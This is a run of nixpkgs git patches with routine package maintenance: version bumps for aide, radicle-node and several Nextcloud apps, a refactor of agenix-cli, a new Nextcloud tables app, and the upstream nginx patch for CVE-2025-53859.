--- a/pkgs/by-name/ag/agenix-cli/package.nix
+++ b/pkgs/by-name/ag/agenix-cli/package.nix
@@ -5,14 +5,14 @@
   nix-update-script,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "agenix-cli";
   version = "0.1.2";
 
   src = fetchFromGitHub {
     owner = "cole-h";
     repo = "agenix-cli";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     sha256 = "sha256-eJp6t8h8uOP0YupYn8x6VAAmUbVrXypxNMGx4SK/6d8=";
   };
 
@@ -30,4 +30,4 @@ rustPlatform.buildRustPackage rec {
     maintainers = with lib.maintainers; [ misuzu ];
     mainProgram = "agenix";
   };
-}
+})

From 7322af6d570080b5eee2bd8b846d6da35a52b275 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Mon, 2 Jun 2025 08:42:56 +0200
Subject: [PATCH 3532/4511] aide: remove with lib

(cherry picked from commit 51104bca6e7b853662b31699baf526a57da5f2a7)
---
 pkgs/by-name/ai/aide/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ai/aide/package.nix b/pkgs/by-name/ai/aide/package.nix
index 9ec1e6d05692..ca594035403c 100644
--- a/pkgs/by-name/ai/aide/package.nix
+++ b/pkgs/by-name/ai/aide/package.nix
@@ -44,13 +44,13 @@ stdenv.mkDerivation rec {
     "--sysconfdir=/etc"
   ];
 
-  meta = with lib; {
+  meta = {
     homepage = "https://aide.github.io/";
     changelog = "https://github.com/aide/aide/blob/v${version}/ChangeLog";
     description = "File and directory integrity checker";
     mainProgram = "aide";
-    license = licenses.gpl2Plus;
-    maintainers = with maintainers; [ happysalada ];
-    platforms = platforms.linux;
+    license = lib.licenses.gpl2Plus;
+    maintainers = with lib.maintainers; [ happysalada ];
+    platforms = lib.platforms.linux;
   };
 }

From 2cb9c64c62620b08e5febee9d81fa0f4d2df7d02 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 6 Jul 2025 06:28:51 +0000
Subject: [PATCH 3533/4511] aide: 0.19 -> 0.19.1

(cherry picked from commit 7148e4be62be7cbd5b9cf12c78d2ccc0d0a9a7fa)
---
 pkgs/by-name/ai/aide/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ai/aide/package.nix b/pkgs/by-name/ai/aide/package.nix
index ca594035403c..622ed46bccf5 100644
--- a/pkgs/by-name/ai/aide/package.nix
+++ b/pkgs/by-name/ai/aide/package.nix
@@ -16,11 +16,11 @@
 
 stdenv.mkDerivation rec {
   pname = "aide";
-  version = "0.19";
+  version = "0.19.1";
 
   src = fetchurl {
     url = "https://github.com/aide/aide/releases/download/v${version}/${pname}-${version}.tar.gz";
-    sha256 = "sha256-5/ugIUvgEpnXY1m/8pdSM+0kEzLkz8//Wc0baomrpeQ=";
+    sha256 = "sha256-bfi/XwQD10r329uR6zyPYf4H6WRmnbjPoe5+TuPpC1I=";
   };
 
   buildInputs = [

From 103d7968a9d3c09ccb9b01e2c6763e85212be596 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 14 Aug 2025 14:57:59 +0000
Subject: [PATCH 3534/4511] aide: 0.19.1 -> 0.19.2

(cherry picked from commit df17dbdc57a091430f70b05d615716ff34d51089)
---
 pkgs/by-name/ai/aide/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ai/aide/package.nix b/pkgs/by-name/ai/aide/package.nix
index 622ed46bccf5..3d14dcea9f9e 100644
--- a/pkgs/by-name/ai/aide/package.nix
+++ b/pkgs/by-name/ai/aide/package.nix
@@ -16,11 +16,11 @@
 
 stdenv.mkDerivation rec {
   pname = "aide";
-  version = "0.19.1";
+  version = "0.19.2";
 
   src = fetchurl {
     url = "https://github.com/aide/aide/releases/download/v${version}/${pname}-${version}.tar.gz";
-    sha256 = "sha256-bfi/XwQD10r329uR6zyPYf4H6WRmnbjPoe5+TuPpC1I=";
+    sha256 = "sha256-I3YrBfRhEe3rPIoFAWyHMcAb24wfkb5IwVbDGrhedMQ=";
   };
 
   buildInputs = [

From 02aa7953234ddad7090c660f888fc2eeb48c5938 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 14 Aug 2025 11:05:43 +0200
Subject: [PATCH 3535/4511] nginx: apply patch for CVE-2025-53859

https://www.openwall.com/lists/oss-security/2025/08/13/5
(cherry picked from commit cca6e62d329a8ca9d701682a5678bc8b5ebc75b8)
---
 pkgs/servers/http/nginx/generic.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/pkgs/servers/http/nginx/generic.nix b/pkgs/servers/http/nginx/generic.nix
index 34356f77fab4..d339daba8b9f 100644
--- a/pkgs/servers/http/nginx/generic.nix
+++ b/pkgs/servers/http/nginx/generic.nix
@@ -218,6 +218,13 @@ stdenv.mkDerivation {
         ./nix-etag-1.15.4.patch
         ./nix-skip-check-logs-path.patch
       ]
+      ++ lib.optionals (!lib.versionAtLeast version "1.29.1") [
+        (fetchpatch {
+          name = "CVE-2025-53859.patch";
+          url = "https://nginx.org/download/patch.2025.smtp.txt";
+          hash = "sha256-v49sLskFNMoKuG8HQISw8ST7ga6DS+ngJiL0D3sUyGk=";
+        })
+      ]
       ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
         (fetchpatch {
           url = "https://raw.githubusercontent.com/openwrt/packages/c057dfb09c7027287c7862afab965a4cd95293a3/net/nginx/patches/102-sizeof_test_fix.patch";

From bc09b678d2b8900bd1cc4f24e3948b555f6c7aab Mon Sep 17 00:00:00 2001
From: fsagbuya <fa@m-labs.ph>
Date: Wed, 13 Aug 2025 14:09:19 +0800
Subject: [PATCH 3536/4511] nextcloudPackages: update

(cherry picked from commit 08781e39a8936698c6c7ff1d4a84ac748c249ca1)
---
 pkgs/servers/nextcloud/packages/30.json | 40 +++++++++++------------
 pkgs/servers/nextcloud/packages/31.json | 42 ++++++++++++-------------
 2 files changed, 41 insertions(+), 41 deletions(-)

diff --git a/pkgs/servers/nextcloud/packages/30.json b/pkgs/servers/nextcloud/packages/30.json
index 73c148ea5dd7..693c44cb97fd 100644
--- a/pkgs/servers/nextcloud/packages/30.json
+++ b/pkgs/servers/nextcloud/packages/30.json
@@ -30,9 +30,9 @@
     ]
   },
   "collectives": {
-    "hash": "sha256-H7Fc3tBOTGjOlhmzImqik7ZC9IorWwrTKsxUkz4E8H0=",
-    "url": "https://github.com/nextcloud/collectives/releases/download/v3.0.3/collectives-3.0.3.tar.gz",
-    "version": "3.0.3",
+    "hash": "sha256-hSTMsuO7XGughPBmIynwBE4ubHwHE/nMUwT6rqVYuo0=",
+    "url": "https://github.com/nextcloud/collectives/releases/download/v3.1.0/collectives-3.1.0.tar.gz",
+    "version": "3.1.0",
     "description": "Collectives is a Nextcloud App for activist and community projects to organize together.\nCome and gather in collectives to build shared knowledge.\n\n* 👥 **Collective and non-hierarchical workflow by heart**: Collectives are\n  tied to a [Nextcloud Team](https://github.com/nextcloud/circles) and\n  owned by the collective.\n* 📝 **Collaborative page editing** like known from Etherpad thanks to the\n  [Text app](https://github.com/nextcloud/text).\n* 🔤 **Well-known [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax**\n  for page formatting.\n\n## Installation\n\nIn your Nextcloud instance, simply navigate to **»Apps«**, find the\n**»Teams«** and **»Collectives«** apps and enable them.",
     "homepage": "https://github.com/nextcloud/collectives",
     "licenses": [
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-AAlfPeFWCO894/R5fLsXSSW2VKacVCH07JsGLIJWVms=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.3/contacts-v7.2.3.tar.gz",
-    "version": "7.2.3",
+    "hash": "sha256-D0p9ny3KeuBdWVirQUDb4gq+eCusZKrDxJ+UAjEJz84=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.4/contacts-v7.2.4.tar.gz",
+    "version": "7.2.4",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -200,9 +200,9 @@
     ]
   },
   "mail": {
-    "hash": "sha256-ZO7OfGtHckgY02djPHRH1dZW1gu5R/2Te+v9k3lKpeM=",
-    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.10/mail-v5.1.10.tar.gz",
-    "version": "5.1.10",
+    "hash": "sha256-Y4KM55EEmo9XjTtl8R2ki3eDjeWoOw27LdIMJoX4kMg=",
+    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.2.0/mail-v5.2.0.tar.gz",
+    "version": "5.2.0",
     "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://www.horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/mail#readme",
     "licenses": [
@@ -210,8 +210,8 @@
     ]
   },
   "maps": {
-    "hash": "sha256-IupRymjs955TiUutzoTTMeESNfBmAp51l+oBaZwfdN0=",
-    "url": "https://github.com/nextcloud/maps/releases/download/v1.6.0/maps-1.6.0.tar.gz",
+    "hash": "sha256-E0S/CwXyye19lcuiONEQCyHJqlL0ZG1A9Q7oOTEZH1g=",
+    "url": "https://github.com/nextcloud/maps/releases/download/v1.6.0-3-nightly/maps-1.6.0-3-nightly.tar.gz",
     "version": "1.6.0",
     "description": "**The whole world fits inside your cloud!**\n\n- **🗺 Beautiful map:** Using [OpenStreetMap](https://www.openstreetmap.org) and [Leaflet](https://leafletjs.com), you can choose between standard map, satellite, topographical, dark mode or even watercolor! 🎨\n- **⭐ Favorites:** Save your favorite places, privately! Sync with [GNOME Maps](https://github.com/nextcloud/maps/issues/30) and mobile apps is planned.\n- **🧭 Routing:** Possible using either [OSRM](http://project-osrm.org), [GraphHopper](https://www.graphhopper.com) or [Mapbox](https://www.mapbox.com).\n- **🖼 Photos on the map:** No more boring slideshows, just show directly where you were!\n- **🙋 Contacts on the map:** See where your friends live and plan your next visit.\n- **📱 Devices:** Lost your phone? Check the map!\n- **〰 Tracks:** Load GPS tracks or past trips. Recording with [PhoneTrack](https://f-droid.org/en/packages/net.eneiluj.nextcloud.phonetrack/) or [OwnTracks](https://owntracks.org) is planned.",
     "homepage": "https://github.com/nextcloud/maps",
@@ -300,9 +300,9 @@
     ]
   },
   "polls": {
-    "hash": "sha256-pGXydde3kLTHgA3vgq2NG1YsyWkda/z8frMFbHdxetQ=",
-    "url": "https://github.com/nextcloud-releases/polls/releases/download/v8.1.4/polls-v8.1.4.tar.gz",
-    "version": "8.1.4",
+    "hash": "sha256-trBymt8Okw1ak4/I6udXcplceMcCuAYuzW9a2iOrDVc=",
+    "url": "https://github.com/nextcloud-releases/polls/releases/download/v8.2.2/polls-v8.2.2.tar.gz",
+    "version": "8.2.2",
     "description": "A polls app, similar to Doodle/DuD-Poll with the possibility to restrict access (members, certain groups/users, hidden and public).",
     "homepage": "https://github.com/nextcloud/polls",
     "licenses": [
@@ -400,9 +400,9 @@
     ]
   },
   "twofactor_webauthn": {
-    "hash": "sha256-cfityMvl6BLsxkGkR3Mm61AZsykC7KjDkDRIyFAQP4c=",
-    "url": "https://github.com/nextcloud-releases/twofactor_webauthn/releases/download/v2.2.0/twofactor_webauthn-v2.2.0.tar.gz",
-    "version": "2.2.0",
+    "hash": "sha256-faYx2GBbeQ8DpwFaOZxiIQX88udn72jpHi2QZf6jEMs=",
+    "url": "https://github.com/nextcloud-releases/twofactor_webauthn/releases/download/v2.2.1/twofactor_webauthn-v2.2.1.tar.gz",
+    "version": "2.2.1",
     "description": "A two-factor provider for WebAuthn devices",
     "homepage": "https://github.com/nextcloud/twofactor_webauthn#readme",
     "licenses": [
@@ -440,9 +440,9 @@
     ]
   },
   "user_oidc": {
-    "hash": "sha256-5ny76JXlGKnzmoaFyKU3l5I50oc03yy6WtiIcUZwKnk=",
-    "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v7.3.0/user_oidc-v7.3.0.tar.gz",
-    "version": "7.3.0",
+    "hash": "sha256-zGxG3lAOLKEoEKOB9ByjQcw5APX/riXiqUOyv67FrSs=",
+    "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v7.3.1/user_oidc-v7.3.1.tar.gz",
+    "version": "7.3.1",
     "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.",
     "homepage": "https://github.com/nextcloud/user_oidc",
     "licenses": [
diff --git a/pkgs/servers/nextcloud/packages/31.json b/pkgs/servers/nextcloud/packages/31.json
index 233174736e8d..8f895e1352b4 100644
--- a/pkgs/servers/nextcloud/packages/31.json
+++ b/pkgs/servers/nextcloud/packages/31.json
@@ -30,9 +30,9 @@
     ]
   },
   "collectives": {
-    "hash": "sha256-H7Fc3tBOTGjOlhmzImqik7ZC9IorWwrTKsxUkz4E8H0=",
-    "url": "https://github.com/nextcloud/collectives/releases/download/v3.0.3/collectives-3.0.3.tar.gz",
-    "version": "3.0.3",
+    "hash": "sha256-hSTMsuO7XGughPBmIynwBE4ubHwHE/nMUwT6rqVYuo0=",
+    "url": "https://github.com/nextcloud/collectives/releases/download/v3.1.0/collectives-3.1.0.tar.gz",
+    "version": "3.1.0",
     "description": "Collectives is a Nextcloud App for activist and community projects to organize together.\nCome and gather in collectives to build shared knowledge.\n\n* 👥 **Collective and non-hierarchical workflow by heart**: Collectives are\n  tied to a [Nextcloud Team](https://github.com/nextcloud/circles) and\n  owned by the collective.\n* 📝 **Collaborative page editing** like known from Etherpad thanks to the\n  [Text app](https://github.com/nextcloud/text).\n* 🔤 **Well-known [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax**\n  for page formatting.\n\n## Installation\n\nIn your Nextcloud instance, simply navigate to **»Apps«**, find the\n**»Teams«** and **»Collectives«** apps and enable them.",
     "homepage": "https://github.com/nextcloud/collectives",
     "licenses": [
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-AAlfPeFWCO894/R5fLsXSSW2VKacVCH07JsGLIJWVms=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.3/contacts-v7.2.3.tar.gz",
-    "version": "7.2.3",
+    "hash": "sha256-D0p9ny3KeuBdWVirQUDb4gq+eCusZKrDxJ+UAjEJz84=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.4/contacts-v7.2.4.tar.gz",
+    "version": "7.2.4",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -200,9 +200,9 @@
     ]
   },
   "mail": {
-    "hash": "sha256-ZO7OfGtHckgY02djPHRH1dZW1gu5R/2Te+v9k3lKpeM=",
-    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.10/mail-v5.1.10.tar.gz",
-    "version": "5.1.10",
+    "hash": "sha256-Y4KM55EEmo9XjTtl8R2ki3eDjeWoOw27LdIMJoX4kMg=",
+    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.2.0/mail-v5.2.0.tar.gz",
+    "version": "5.2.0",
     "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://www.horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/mail#readme",
     "licenses": [
@@ -300,9 +300,9 @@
     ]
   },
   "polls": {
-    "hash": "sha256-pGXydde3kLTHgA3vgq2NG1YsyWkda/z8frMFbHdxetQ=",
-    "url": "https://github.com/nextcloud-releases/polls/releases/download/v8.1.4/polls-v8.1.4.tar.gz",
-    "version": "8.1.4",
+    "hash": "sha256-trBymt8Okw1ak4/I6udXcplceMcCuAYuzW9a2iOrDVc=",
+    "url": "https://github.com/nextcloud-releases/polls/releases/download/v8.2.2/polls-v8.2.2.tar.gz",
+    "version": "8.2.2",
     "description": "A polls app, similar to Doodle/DuD-Poll with the possibility to restrict access (members, certain groups/users, hidden and public).",
     "homepage": "https://github.com/nextcloud/polls",
     "licenses": [
@@ -370,9 +370,9 @@
     ]
   },
   "spreed": {
-    "hash": "sha256-eg2d2Mb4rMey2H4plSLdsqjPrIWQP5cStA7ISkT0VDs=",
-    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v21.1.2/spreed-v21.1.2.tar.gz",
-    "version": "21.1.2",
+    "hash": "sha256-WyrLriL0IqiYxqcdyzEPG00t+w6aN1tYYcovtLyfiL4=",
+    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v21.1.3/spreed-v21.1.3.tar.gz",
+    "version": "21.1.3",
     "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat** Nextcloud Talk comes with a simple text chat, allowing you to share or upload files from your Nextcloud Files app or local device and mention other participants.\n* 👥 **Private, group, public and password protected calls!** Invite someone, a whole group or send a public link to invite to a call.\n* 🌐 **Federated chats** Chat with other Nextcloud users on their servers\n* 💻 **Screen sharing!** Share your screen with the participants of your call.\n* 🚀 **Integration with other Nextcloud apps** like Files, Calendar, User status, Dashboard, Flow, Maps, Smart picker, Contacts, Deck, and many more.\n* 🌉 **Sync with other chat solutions** With [Matterbridge](https://github.com/42wim/matterbridge/) being integrated in Talk, you can easily sync a lot of other chat solutions to Nextcloud Talk and vice-versa.",
     "homepage": "https://github.com/nextcloud/spreed",
     "licenses": [
@@ -400,9 +400,9 @@
     ]
   },
   "twofactor_webauthn": {
-    "hash": "sha256-cfityMvl6BLsxkGkR3Mm61AZsykC7KjDkDRIyFAQP4c=",
-    "url": "https://github.com/nextcloud-releases/twofactor_webauthn/releases/download/v2.2.0/twofactor_webauthn-v2.2.0.tar.gz",
-    "version": "2.2.0",
+    "hash": "sha256-faYx2GBbeQ8DpwFaOZxiIQX88udn72jpHi2QZf6jEMs=",
+    "url": "https://github.com/nextcloud-releases/twofactor_webauthn/releases/download/v2.2.1/twofactor_webauthn-v2.2.1.tar.gz",
+    "version": "2.2.1",
     "description": "A two-factor provider for WebAuthn devices",
     "homepage": "https://github.com/nextcloud/twofactor_webauthn#readme",
     "licenses": [
@@ -440,9 +440,9 @@
     ]
   },
   "user_oidc": {
-    "hash": "sha256-5ny76JXlGKnzmoaFyKU3l5I50oc03yy6WtiIcUZwKnk=",
-    "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v7.3.0/user_oidc-v7.3.0.tar.gz",
-    "version": "7.3.0",
+    "hash": "sha256-zGxG3lAOLKEoEKOB9ByjQcw5APX/riXiqUOyv67FrSs=",
+    "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v7.3.1/user_oidc-v7.3.1.tar.gz",
+    "version": "7.3.1",
     "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.",
     "homepage": "https://github.com/nextcloud/user_oidc",
     "licenses": [

From e0cf53a17bc69336236655d09058eb519c7e6000 Mon Sep 17 00:00:00 2001
From: fsagbuya <fa@m-labs.ph>
Date: Wed, 13 Aug 2025 14:13:36 +0800
Subject: [PATCH 3537/4511] nextcloudPackages.tables: init at 0.9.5

(cherry picked from commit 29c81cb1d3208d818fecae23486b4b2a3c34ead9)
---
 pkgs/servers/nextcloud/packages/30.json             | 10 ++++++++++
 pkgs/servers/nextcloud/packages/31.json             | 10 ++++++++++
 pkgs/servers/nextcloud/packages/nextcloud-apps.json |  1 +
 3 files changed, 21 insertions(+)

diff --git a/pkgs/servers/nextcloud/packages/30.json b/pkgs/servers/nextcloud/packages/30.json
index 693c44cb97fd..cac44ebb0def 100644
--- a/pkgs/servers/nextcloud/packages/30.json
+++ b/pkgs/servers/nextcloud/packages/30.json
@@ -379,6 +379,16 @@
       "agpl"
     ]
   },
+  "tables": {
+    "hash": "sha256-E68fyimEMBe0DJ2cOAIBs0+Psb8UVFFfLBZc/ESRzY8=",
+    "url": "https://github.com/nextcloud-releases/tables/releases/download/v0.9.5/tables-v0.9.5.tar.gz",
+    "version": "0.9.5",
+    "description": "Manage data the way you need it.\n\nWith this app you are able to create your own tables with individual columns. You can start with a template or from scratch and add your wanted columns.\nYou can choose from the following column types:\n- Text line or rich text\n- Link to urls or other nextcloud resources\n- Numbers\n- Progress bar\n- Stars rating\n- Yes/No tick\n- Date and/or time\n- (Multi) selection\n\nShare your tables and views with users and groups within your cloud.\n\nHave a good time and manage whatever you want.",
+    "homepage": "https://github.com/nextcloud/tables",
+    "licenses": [
+      "agpl"
+    ]
+  },
   "tasks": {
     "hash": "sha256-Upa3dl+b97UV3KXLlcxeS6OzFBTIW+e3U/T9QJT6Pmw=",
     "url": "https://github.com/nextcloud/tasks/releases/download/v0.16.1/tasks.tar.gz",
diff --git a/pkgs/servers/nextcloud/packages/31.json b/pkgs/servers/nextcloud/packages/31.json
index 8f895e1352b4..1c2673ecbc1c 100644
--- a/pkgs/servers/nextcloud/packages/31.json
+++ b/pkgs/servers/nextcloud/packages/31.json
@@ -379,6 +379,16 @@
       "agpl"
     ]
   },
+  "tables": {
+    "hash": "sha256-E68fyimEMBe0DJ2cOAIBs0+Psb8UVFFfLBZc/ESRzY8=",
+    "url": "https://github.com/nextcloud-releases/tables/releases/download/v0.9.5/tables-v0.9.5.tar.gz",
+    "version": "0.9.5",
+    "description": "Manage data the way you need it.\n\nWith this app you are able to create your own tables with individual columns. You can start with a template or from scratch and add your wanted columns.\nYou can choose from the following column types:\n- Text line or rich text\n- Link to urls or other nextcloud resources\n- Numbers\n- Progress bar\n- Stars rating\n- Yes/No tick\n- Date and/or time\n- (Multi) selection\n\nShare your tables and views with users and groups within your cloud.\n\nHave a good time and manage whatever you want.",
+    "homepage": "https://github.com/nextcloud/tables",
+    "licenses": [
+      "agpl"
+    ]
+  },
   "tasks": {
     "hash": "sha256-Upa3dl+b97UV3KXLlcxeS6OzFBTIW+e3U/T9QJT6Pmw=",
     "url": "https://github.com/nextcloud/tasks/releases/download/v0.16.1/tasks.tar.gz",
diff --git a/pkgs/servers/nextcloud/packages/nextcloud-apps.json b/pkgs/servers/nextcloud/packages/nextcloud-apps.json
index 7cda1b6008c1..33f9132c6d8b 100644
--- a/pkgs/servers/nextcloud/packages/nextcloud-apps.json
+++ b/pkgs/servers/nextcloud/packages/nextcloud-apps.json
@@ -39,6 +39,7 @@
 , "richdocuments": "agpl3Only"
 , "sociallogin": "agpl3Only"
 , "spreed": "agpl3Plus"
+, "tables": "agpl3Only"
 , "tasks": "agpl3Plus"
 , "twofactor_admin": "agpl3Plus"
 , "twofactor_nextcloud_notification": "agpl3Only"

From af1ea58a87fdb4844c7e480cfbca772b92143b4f Mon Sep 17 00:00:00 2001
From: Lorenz Leutgeb <lorenz@leutgeb.xyz>
Date: Wed, 30 Jul 2025 12:19:31 +0200
Subject: [PATCH 3538/4511] =?UTF-8?q?radicle-node:=201.2.0=20=E2=86=92=201?=
 =?UTF-8?q?.2.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 4e73bd2c60f48004a3ccc2de5f490b68188e6a77)
---
 pkgs/by-name/ra/radicle-node/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index ce01051776eb..6d6225f47f8a 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -19,13 +19,13 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "radicle-node";
-  version = "1.2.0";
+  version = "1.2.1";
   env.RADICLE_VERSION = version;
 
   src = fetchgit {
     url = "https://seed.radicle.xyz/z3gqcJUoA1n9HaHKufZs5FCSGazv5.git";
     rev = "refs/namespaces/z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM/refs/tags/v${version}";
-    hash = "sha256-AWgLhL6GslE3r2FcZu2imV5ZtEKlUD+a4C5waRGO2lM=";
+    hash = "sha256-pqYV3n/aKNbEDEp8v4oQUMMlsSiJZq/nh5gFP4KpZbM=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse HEAD > $out/.git_head
@@ -34,7 +34,7 @@ rustPlatform.buildRustPackage rec {
     '';
   };
 
-  cargoHash = "sha256-/6VlRwWtJfHf6tXD2HJUTbThwTYeZFTJqtaxclrm3+c=";
+  cargoHash = "sha256-T457lXW0M2eO9R+8XyobUFVj4NOiXVSvtDztp1i0PS4=";
 
   nativeBuildInputs = [
     asciidoctor

From d62d8d54fa3e6a0a26ff0642f91c0cad2d222330 Mon Sep 17 00:00:00 2001
From: Lorenz Leutgeb <lorenz@leutgeb.xyz>
Date: Tue, 12 Aug 2025 13:36:07 +0200
Subject: [PATCH 3539/4511] =?UTF-8?q?radicle-node:=201.2.1=20=E2=86=92=201?=
 =?UTF-8?q?.3.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 1197976ba64a0bc0734471445fc22a1ab2d53def)
---
 pkgs/by-name/ra/radicle-node/package.nix | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 6d6225f47f8a..15da4c6ec221 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -19,13 +19,13 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "radicle-node";
-  version = "1.2.1";
+  version = "1.3.0";
   env.RADICLE_VERSION = version;
 
   src = fetchgit {
     url = "https://seed.radicle.xyz/z3gqcJUoA1n9HaHKufZs5FCSGazv5.git";
     rev = "refs/namespaces/z6MkireRatUThvd3qzfKht1S44wpm4FEWSSa4PRMTSQZ3voM/refs/tags/v${version}";
-    hash = "sha256-pqYV3n/aKNbEDEp8v4oQUMMlsSiJZq/nh5gFP4KpZbM=";
+    hash = "sha256-0gK+fM/YGGpxlcR1HQixbLK0/sv+HH29h6ajEP2w2pI=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse HEAD > $out/.git_head
@@ -34,7 +34,7 @@ rustPlatform.buildRustPackage rec {
     '';
   };
 
-  cargoHash = "sha256-T457lXW0M2eO9R+8XyobUFVj4NOiXVSvtDztp1i0PS4=";
+  cargoHash = "sha256-qLRFZXbVbsgMyXiljsb8lOBCDZKa17LcxWuPaUYSG70=";
 
   nativeBuildInputs = [
     asciidoctor
@@ -48,6 +48,14 @@ rustPlatform.buildRustPackage rec {
     export SOURCE_DATE_EPOCH=$(<$src/.git_time)
   '';
 
+  cargoBuildFlags = [
+    "--package=radicle-node"
+    "--package=radicle-cli"
+    "--package=radicle-remote-helper"
+  ];
+
+  cargoTestFlags = cargoBuildFlags;
+
   # tests regularly time out on aarch64
   doCheck = stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86;
 

